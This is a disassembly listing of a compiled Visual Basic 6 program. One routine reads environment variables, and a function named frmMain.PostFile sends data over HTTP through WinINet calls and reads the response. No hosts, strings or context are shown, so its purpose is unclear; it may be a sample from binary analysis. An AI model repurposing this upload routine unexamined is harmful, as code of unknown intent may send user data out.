    00403be3push esi
    00403be4mov eax, [esi]
    00403be6call [eax+20]
    00403be9cmp eax, edi
    00403bebfnclex
    00403bedjge 0x403bfe
    00403befpush 20
    00403bf1push 0x402e9c
    00403bf6push esi
    00403bf7push eax
    00403bf8call imp:msvbvm60!__vbaHresultCheckObj
    00403bfe
    00403bfeloc_403bfe:
    00403bfemov eax, [ebp-28]
    00403c01push edi
    00403c02push eax
    00403c03mov esi, eax
    00403c05mov edx, [eax]
    00403c07call [edx+124]
    00403c0acmp eax, edi
    00403c0cfnclex
    00403c0ejge 0x403c1f
    00403c10push 124
    00403c12push 0x402ebc
    00403c17push esi
    00403c18push eax
    00403c19call imp:msvbvm60!__vbaHresultCheckObj
    00403c1f
    00403c1floc_403c1f:
    00403c1flea ecx, [ebp-28]
    00403c22call imp:msvbvm60!__vbaFreeObj
    00403c28mov esi, imp:msvbvm60!__vbaVarDup
    00403c2elea edx, [ebp-76]
    00403c31lea ecx, [ebp-44]
    00403c34mov [ebp-68], 0x402ed0
    00403c3bmov [ebp-76], 8
    00403c42call esi
    00403c44mov edi, imp:msvbvm60!rtcEnvironVar
    00403c4alea eax, [ebp-44]
    00403c4dlea ecx, [ebp-60]
    00403c50push eax
    00403c51push ecx
    00403c52call edi
    00403c54mov ebx, imp:msvbvm60!__vbaStrVarMove
    00403c5alea edx, [ebp-60]
    00403c5dpush edx
    00403c5ecall ebx
    00403c60mov edx, eax
    00403c62lea ecx, [ebp-24]
    00403c65call imp:msvbvm60!__vbaStrMove
    00403c6bmov edx, eax
    00403c6dmov eax, [ebp+8]
    00403c70lea ecx, [eax+56]
    00403c73call imp:msvbvm60!__vbaStrCopy
    00403c79lea ecx, [ebp-24]
    00403c7ccall imp:msvbvm60!__vbaFreeStr
    00403c82lea ecx, [ebp-60]
    00403c85lea edx, [ebp-44]
    00403c88push ecx
    00403c89push edx
    00403c8apush 2
    00403c8ccall imp:msvbvm60!__vbaFreeVarList
    00403c92add esp, 12
    00403c95lea edx, [ebp-76]
    00403c98lea ecx, [ebp-44]
    00403c9bmov [ebp-68], 0x402ef0
    00403ca2mov [ebp-76], 8
    00403ca9call esi
    00403cablea eax, [ebp-44]
    00403caelea ecx, [ebp-60]
    00403cb1push eax
    00403cb2push ecx
    00403cb3call edi
    00403cb5lea edx, [ebp-60]
    00403cb8push edx
    00403cb9call ebx
    00403cbbmov edx, eax
    00403cbdlea ecx, [ebp-24]
    00403cc0call imp:msvbvm60!__vbaStrMove
    00403cc6mov edx, eax
    00403cc8mov eax, [ebp+8]
    00403ccblea ecx, [eax+60]
    00403ccecall imp:msvbvm60!__vbaStrCopy
    00403cd4lea ecx, [ebp-24]
    00403cd7call imp:msvbvm60!__vbaFreeStr
    00403cddlea ecx, [ebp-60]
    00403ce0lea edx, [ebp-44]
    00403ce3push ecx
    00403ce4push edx
    00403ce5push 2
    00403ce7call imp:msvbvm60!__vbaFreeVarList
    00403cedadd esp, 12
    00403cf0mov [ebp-4], 0
    00403cf7push 0x403d25
    00403cfcjmp 0x403d24
    00403cfelea ecx, [ebp-24]
    00403d01call imp:msvbvm60!__vbaFreeStr
    00403d07lea ecx, [ebp-28]
    00403d0acall imp:msvbvm60!__vbaFreeObj
    00403d10lea eax, [ebp-60]
    00403d13lea ecx, [ebp-44]
    00403d16push eax
    00403d17push ecx
    00403d18push 2
    00403d1acall imp:msvbvm60!__vbaFreeVarList
    00403d20add esp, 12
    00403d23ret
    00403d24
    00403d24loc_403d24:
    00403d24ret
    00403d25mov eax, [ebp+8]
    00403d28push eax
    00403d29mov edx, [eax]
    00403d2bcall [edx+8]
    00403d2emov eax, [ebp-4]
    00403d31mov ecx, [ebp-20]
    00403d34pop edi
    00403d35pop esi
    00403d36mov [0x0], ecx
    00403d3dpop ebx
    00403d3emov esp, ebp
    00403d40pop ebp
    00403d41ret 4
    00403b70
    00403d44
    00403d44 // align 0x10
    00403d50
    00403d50frmMain.PostFile:
    00403d50push ebp
    00403d51mov ebp, esp
    00403d53sub esp, 24
    00403d56push 0x4014a6
    00403d5bmov eax, [0x0]
    00403d61push eax
    00403d62mov [0x0], esp
    00403d69mov eax, 152
    00403d6ecall __vbaChkstk
    00403d73push ebx
    00403d74push esi
    00403d75push edi
    00403d76mov [ebp-24], esp
    00403d79mov [ebp-20], 0x401180
    00403d80mov [ebp-16], 0
    00403d87mov [ebp-12], 0
    00403d8emov eax, [ebp+8]
    00403d91mov ecx, [eax]
    00403d93mov edx, [ebp+8]
    00403d96push edx
    00403d97call [ecx+4]
    00403d9amov [ebp-4], 1
    00403da1mov eax, [ebp+24]
    00403da4mov [eax], 0
    00403daalea ecx, [ebp-36]
    00403dadpush ecx
    00403daepush 4096
    00403db3call imp:msvbvm60!__vbaFixstrConstruct
    00403db9mov [ebp-4], 2
    00403dc0push -1
    00403dc2call imp:msvbvm60!__vbaOnError
    00403dc8mov [ebp-4], 3
    00403dcflea edx, [ebp-108]
    00403dd2push edx
    00403dd3mov eax, [ebp+20]
    00403dd6push eax
    00403dd7mov ecx, [ebp+8]
    00403ddamov edx, [ecx]
    00403ddcmov eax, [ebp+8]
    00403ddfpush eax
    00403de0call [edx+1792]
    00403de6lea ecx, [ebp-108]
    00403de9push ecx
    00403deacall imp:msvbvm60!__vbaStrVarMove
    00403df0mov edx, eax
    00403df2lea ecx, [ebp-44]
    00403df5call imp:msvbvm60!__vbaStrMove
    00403dfblea ecx, [ebp-108]
    00403dfecall imp:msvbvm60!__vbaFreeVar
    00403e04mov [ebp-4], 4
    00403e0bmov [ebp-80], 0
    00403e12mov [ebp-4], 5
    00403e19mov [ebp-52], 0
    00403e20mov [ebp-4], 6
    00403e27mov [ebp-60], 0
    00403e2emov [ebp-4], 7
    00403e35push 0
    00403e37push 0
    00403e39push 0
    00403e3bpush 0
    00403e3dpush 0x40268c
    00403e42lea edx, [ebp-84]
    00403e45push edx
    00403e46call imp:msvbvm60!__vbaStrToAnsi
    00403e4cpush eax
    00403e4dcall InternetOpenA
    00403e52mov [ebp-164], eax
    00403e58call imp:msvbvm60!__vbaSetSystemError
    00403e5emov eax, [ebp-164]
    00403e64mov [ebp-80], eax
    00403e67lea ecx, [ebp-84]
    00403e6acall imp:msvbvm60!__vbaFreeStr
    00403e70mov [ebp-4], 8
    00403e77cmp [ebp-80], 0
    00403e7bje 0x404270
    00403e81mov [ebp-4], 9
    00403e88push 0
    00403e8apush 0
    00403e8cpush 3
    00403e8epush 0x402f00
    00403e93lea ecx, [ebp-88]
    00403e96push ecx
    00403e97call imp:msvbvm60!__vbaStrToAnsi
    00403e9dpush eax
    00403e9epush 0
    00403ea0push 80
    00403ea2mov edx, [ebp+12]
    00403ea5mov eax, [edx]
    00403ea7push eax
    00403ea8lea ecx, [ebp-84]
    00403eabpush ecx
    00403eaccall imp:msvbvm60!__vbaStrToAnsi
    00403eb2push eax
    00403eb3mov edx, [ebp-80]
    00403eb6push edx
    00403eb7call InternetConnectA
    00403ebcmov [ebp-164], eax
    00403ec2call imp:msvbvm60!__vbaSetSystemError
    00403ec8mov eax, [ebp-84]
    00403ecbpush eax
    00403eccmov ecx, [ebp+12]
    00403ecfpush ecx
    00403ed0call imp:msvbvm60!__vbaStrToUnicode
    00403ed6mov edx, [ebp-164]
    00403edcmov [ebp-52], edx
    00403edflea eax, [ebp-88]
    00403ee2push eax
    00403ee3lea ecx, [ebp-84]
    00403ee6push ecx
    00403ee7push 2
    00403ee9call imp:msvbvm60!__vbaFreeStrList
    00403eefadd esp, 12
    00403ef2mov [ebp-4], 10
    00403ef9cmp [ebp-52], 0
    00403efdje 0x404248
    00403f03mov [ebp-4], 11
    00403f0apush 0
    00403f0cpush 0xffffffff80000000
    00403f11push 0
    00403f13push 0
    00403f15push 0x402f00
    00403f1alea edx, [ebp-92]
    00403f1dpush edx
    00403f1ecall imp:msvbvm60!__vbaStrToAnsi
    00403f24push eax
    00403f25mov eax, [ebp+16]
    00403f28mov ecx, [eax]
    00403f2apush ecx
    00403f2blea edx, [ebp-88]
    00403f2epush edx
    00403f2fcall imp:msvbvm60!__vbaStrToAnsi
    00403f35push eax
    00403f36push 0x402f18
    00403f3blea eax, [ebp-84]
    00403f3epush eax
    00403f3fcall imp:msvbvm60!__vbaStrToAnsi
    00403f45push eax
    00403f46mov ecx, [ebp-52]
    00403f49push ecx
    00403f4acall HttpOpenRequestA
    00403f4fmov [ebp-164], eax
    00403f55call imp:msvbvm60!__vbaSetSystemError
    00403f5bmov edx, [ebp-88]
    00403f5epush edx
    00403f5fmov eax, [ebp+16]
    00403f62push eax
    00403f63call imp:msvbvm60!__vbaStrToUnicode
    00403f69mov ecx, [ebp-164]
    00403f6fmov [ebp-60], ecx
    00403f72lea edx, [ebp-92]
    00403f75push edx
    00403f76lea eax, [ebp-88]
    00403f79push eax
    00403f7alea ecx, [ebp-84]
    00403f7dpush ecx
    00403f7epush 3
    00403f80call imp:msvbvm60!__vbaFreeStrList
    00403f86add esp, 16
    00403f89mov [ebp-4], 12
    00403f90cmp [ebp-60], 0
    00403f94je 0x404220
    00403f9amov [ebp-4], 13
    00403fa1push 0x402f28
    00403fa6push 0x402634
    00403fabcall imp:msvbvm60!__vbaStrCat
    00403fb1mov edx, eax
    00403fb3lea ecx, [ebp-84]
    00403fb6call imp:msvbvm60!__vbaStrMove
    00403fbcpush eax
    00403fbdpush 0x402f88
    00403fc2call imp:msvbvm60!__vbaStrCat
    00403fc8mov edx, eax
    00403fcalea ecx, [ebp-76]
    00403fcdcall imp:msvbvm60!__vbaStrMove
    00403fd3lea ecx, [ebp-84]
    00403fd6call imp:msvbvm60!__vbaFreeStr
    00403fdcmov [ebp-4], 14
    00403fe3mov edx, [ebp-44]
    00403fe6push edx
    00403fe7call imp:msvbvm60!__vbaLenBstr
    00403fedmov [ebp-40], eax
    00403ff0mov [ebp-4], 15
    00403ff7mov eax, [ebp-40]
    00403ffapush eax
    00403ffbmov ecx, [ebp-44]
    00403ffepush ecx
    00403ffflea edx, [ebp-88]
    00404002push edx
    00404003call imp:msvbvm60!__vbaStrToAnsi
    00404009push eax
    0040400amov eax, [ebp-76]
    0040400dpush eax
    0040400ecall imp:msvbvm60!__vbaLenBstr
    00404014push eax
    00404015mov ecx, [ebp-76]
    00404018push ecx
    00404019lea edx, [ebp-84]
    0040401cpush edx
    0040401dcall imp:msvbvm60!__vbaStrToAnsi
    00404023push eax
    00404024mov eax, [ebp-60]
    00404027push eax
    00404028call HttpSendRequestA
    0040402dmov [ebp-160], ax
    00404034call imp:msvbvm60!__vbaSetSystemError
    0040403amov ecx, [ebp-84]
    0040403dpush ecx
    0040403elea edx, [ebp-76]
    00404041push edx
    00404042call imp:msvbvm60!__vbaStrToUnicode
    00404048mov eax, [ebp-88]
    0040404bpush eax
    0040404clea ecx, [ebp-44]
    0040404fpush ecx
    00404050call imp:msvbvm60!__vbaStrToUnicode
    00404056mov dx, [ebp-160]
    0040405dmov [ebp-68], dx
    00404061lea eax, [ebp-88]
    00404064push eax
    00404065lea ecx, [ebp-84]
    00404068push ecx
    00404069push 2
    0040406bcall imp:msvbvm60!__vbaFreeStrList
    00404071add esp, 12
    00404074mov [ebp-4], 16
    0040407bmov [ebp-72], -1
    00404081
    00404081loc_404081:
    00404081mov [ebp-4], 17
    00404088movsx edx, [ebp-72]
    0040408ctest edx, edx
    0040408eje 0x4041e5
    00404094mov [ebp-4], 18
    0040409bpush 0
    0040409dmov eax, [ebp-36]
    004040a0push eax
    004040a1push 0
    004040a3call imp:msvbvm60!__vbaLsetFixstr
    004040a9mov [ebp-4], 19
    004040b0lea ecx, [ebp-64]
    004040b3push ecx
    004040b4mov edx, [ebp-36]
    004040b7push edx
    004040b8call imp:msvbvm60!__vbaLenBstr
    004040bepush eax
    004040bfmov eax, [ebp-36]
    004040c2push eax
    004040c3lea ecx, [ebp-84]
    004040c6push ecx
    004040c7call imp:msvbvm60!__vbaStrToAnsi
    004040cdpush eax
    004040cemov edx, [ebp-60]
    004040d1push edx
    004040d2call InternetReadFile
    004040d7mov [ebp-160], ax
    004040decall imp:msvbvm60!__vbaSetSystemError
    004040e4mov eax, [ebp-84]
    004040e7push eax
    004040e8lea ecx, [ebp-88]
    004040ebpush ecx
    004040eccall imp:msvbvm60!__vbaStrToUnicode
    004040f2push eax
    004040f3mov edx, [ebp-36]
    004040f6push edx
    004040f7push 0
    004040f9call imp:msvbvm60!__vbaLsetFixstr
    004040ffxor eax, eax
    00404101cmp [ebp-160], 0
    00404109setne al
    0040410cneg eax
    0040410emov [ebp-72], ax
    00404112lea ecx, [ebp-88]
    00404115push ecx
    00404116lea edx, [ebp-84]
    00404119push edx
    0040411apush 2
    0040411ccall imp:msvbvm60!__vbaFreeStrList
    00404122add esp, 12
    00404125mov [ebp-4], 20
    0040412cmov eax, [ebp-56]
    0040412fmov [ebp-148], eax
    00404135mov [ebp-156], 8
    0040413fmov edx, [ebp-36]
    00404142lea ecx, [ebp-84]
    00404145call imp:msvbvm60!__vbaStrCopy
    0040414blea ecx, [ebp-84]
    0040414emov [ebp-132], ecx
    00404154mov [ebp-140], 16392
    0040415emov edx, [ebp-64]
    00404161push edx
    00404162lea eax, [ebp-140]
    00404168push eax
    00404169lea ecx, [ebp-108]
    0040416cpush ecx
    0040416dcall imp:msvbvm60!rtcLeftCharVar
    00404173mov edx, [ebp-84]
    00404176push edx
    00404177mov eax, [ebp-36]
    0040417apush eax
    0040417bpush 0
    0040417dcall imp:msvbvm60!__vbaLsetFixstr
    00404183lea ecx, [ebp-156]
    00404189push ecx
    0040418alea edx, [ebp-108]
    0040418dpush edx
    0040418elea eax, [ebp-124]
    00404191push eax
    00404192call imp:msvbvm60!__vbaVarCat
    00404198push eax
    00404199call imp:msvbvm60!__vbaStrVarMove
    0040419fmov edx, eax
    004041a1lea ecx, [ebp-56]
    004041a4call imp:msvbvm60!__vbaStrMove
    004041aalea ecx, [ebp-84]
    004041adcall imp:msvbvm60!__vbaFreeStr
    004041b3lea ecx, [ebp-124]
    004041b6push ecx
    004041b7lea edx, [ebp-108]
    004041bapush edx
    004041bbpush 2
    004041bdcall imp:msvbvm60!__vbaFreeVarList
    004041c3add esp, 12
    004041c6mov [ebp-4], 21
    004041cdcmp [ebp-64], 0
    004041d1jne 0x4041e0
    004041d3mov [ebp-4], 22
    004041damov [ebp-72], 0
    004041e0
    004041e0loc_4041e0:
    004041e0jmp 0x404081
    004041e5
    004041e5loc_4041e5:
    004041e5mov [ebp-4], 25
    004041ecmov edx, [ebp-56]
    004041eflea ecx, [ebp-48]
    004041f2call imp:msvbvm60!__vbaStrCopy
    004041f8mov [ebp-4], 26
    004041ffmov eax, [ebp-60]
    00404202push eax
    00404203call InternetCloseHandle
    00404208mov [ebp-160], ax
    0040420fcall imp:msvbvm60!__vbaSetSystemError
    00404215mov cx, [ebp-160]
    0040421cmov [ebp-68], cx
    00404220
    00404220loc_404220:
    00404220mov [ebp-4], 28
    00404227mov edx, [ebp-52]
    0040422apush edx
    0040422bcall InternetCloseHandle
    00404230mov [ebp-160], ax
    00404237call imp:msvbvm60!__vbaSetSystemError
    0040423dmov ax, [ebp-160]
    00404244mov [ebp-68], ax
    00404248
    00404248loc_404248:
    00404248mov [ebp-4], 30
    0040424fmov ecx, [ebp-80]
    00404252push ecx
    00404253call InternetCloseHandle
    00404258mov [ebp-160], ax
    0040425fcall imp:msvbvm60!__vbaSetSystemError
    00404265mov dx, [ebp-160]
    0040426cmov [ebp-68], dx
    00404270
    00404270loc_404270:
    00404270push 0x4042da
    00404275jmp 0x4042b5
    00404277
    00404277 8b 45 f0 83 e0 04 85 c0 74 .E......t
    00404280 09 8d 4d d0 ff 15 64 11 40 00 8d 4d a4 51 8d 55 ..M...d.@..M.Q.U
    00404290 a8 52 8d 45 ac 50 6a 03 ff 15 08 11 40 00 83 c4 .R.E.Pj.....@...
    004042a0 10 8d 4d 84 51 8d 55 94 52 6a 02 ff 15 18 10 40 ..M.Q.U.Rj.....@
    004042b0 00 83 c4 0c c3 .....
    004042b5
    004042b5loc_4042b5:
    004042b5lea ecx, [ebp-36]
    004042b8call imp:msvbvm60!__vbaFreeStr
    004042belea ecx, [ebp-44]
    004042c1call imp:msvbvm60!__vbaFreeStr
    004042c7lea ecx, [ebp-56]
    004042cacall imp:msvbvm60!__vbaFreeStr
    004042d0lea ecx, [ebp-76]
    004042d3call imp:msvbvm60!__vbaFreeStr
    004042d9ret
    004042damov eax, [ebp+8]
    004042ddmov ecx, [eax]
    004042dfmov edx, [ebp+8]
    004042e2push edx
    004042e3call [ecx+8]
    004042e6mov eax, [ebp+24]
    004042e9mov ecx, [ebp-48]
    004042ecmov [eax], ecx
    004042eemov eax, [ebp-16]
    004042f1mov ecx, [ebp-32]
    004042f4mov [0x0], ecx
    004042fbpop edi
    004042fcpop esi
    004042fdpop ebx
    004042femov esp, ebp
    00404300pop ebp
    00404301ret 20
    00403d50